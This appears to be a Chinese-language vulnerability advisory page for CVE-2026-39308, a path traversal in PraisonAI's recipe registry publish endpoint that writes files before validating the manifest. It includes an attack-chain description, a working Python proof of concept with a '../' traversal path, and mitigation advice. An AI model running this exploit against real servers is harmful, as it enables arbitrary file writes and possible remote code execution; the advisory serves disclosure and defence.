IPBUF安全漏洞报告
English
CVE-2026-39308 CVSS 7.1 高危

CVE-2026-39308 PraisonAI 路径遍历致任意文件写入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39308
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

路径遍历任意文件写入PraisonAICVE-2026-39308

漏洞概述

PraisonAI在1.5.113之前的版本中存在严重的路径遍历漏洞。由于配方注册表发布端点在验证清单参数之前,直接将上传的配方包写入文件系统,攻击者可在manifest文件中精心构造../遍历序列。尽管请求最终因验证失败返回HTTP 400错误,但文件已被成功写入注册表根目录之外的任意位置,导致任意文件写入风险。

技术细节

该漏洞的根源在于PraisonAI处理recipe bundle时的逻辑顺序错误。服务端在接收到发布请求后,首先根据bundle内部的manifest.json文件内容解析路径,并将其与上传的文件内容写入磁盘。此时,服务端尚未校验manifest中的name和version字段是否与HTTP请求路由中的参数一致。攻击者利用这一时间差,可以在manifest.json中插入包含../的恶意路径。当服务端执行写入操作时,../序列会利用路径遍历机制跳过配置的注册表根目录。虽然服务端在写入完成后会执行校验并返回HTTP 400错误拒绝请求,但恶意文件已经持久化到磁盘上。如果服务未配置Token或攻击者已拥有发布权限,即可利用此漏洞在服务器敏感位置写入文件。在特定环境下,攻击者可能覆盖系统配置文件或写入Webshell,从而导致远程代码执行或系统被完全控制。

攻击链分析

STEP 1
1. 构造恶意Bundle
攻击者创建一个包含manifest.json的recipe bundle,并在manifest中精心构造包含../遍历序列的文件路径。
STEP 2
2. 发送上传请求
攻击者向PraisonAI的recipe registry publish端点发送POST请求,上传该恶意bundle。
STEP 3
3. 服务端写入文件
服务端在验证参数前,直接根据manifest中的路径将文件写入文件系统,导致文件被写入到注册表根目录之外。
STEP 4
4. 验证与拒绝
服务端随后验证manifest参数,发现不匹配后返回HTTP 400错误,但文件已成功落盘。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import json import io # Target URL TARGET_URL = "http://localhost:8000/api/recipes/publish" # 1. Create a malicious manifest with path traversal manifest = { "name": "malicious-recipe", "version": "1.0.0", # The vulnerability allows writing outside the root via ../ "file_path": "../../../../../tmp/pwned_by_cve.txt" } # 2. Create a zip file (recipe bundle) in memory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('manifest.json', json.dumps(manifest)) zipf.writestr('payload.txt', 'This file was written via path traversal.') zip_buffer.seek(0) # 3. Send the upload request files = {'bundle': ('malicious.zip', zip_buffer, 'application/zip')} # Note: The request might return 400 (Bad Request) due to validation, # but the file write operation happens before this validation. response = requests.post(TARGET_URL, files=files) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if the file was written successfully on the server # (Assuming you have access to check the file system or verify impact) print("Check /tmp/pwned_by_cve.txt on the target server.")

影响范围

PraisonAI < 1.5.113

防御指南

临时缓解措施
建议立即升级到最新版本。若暂时无法升级,应限制对recipe registry publish端点的网络访问,并确保已启用Token认证机制,仅允许受信任的用户进行发布操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表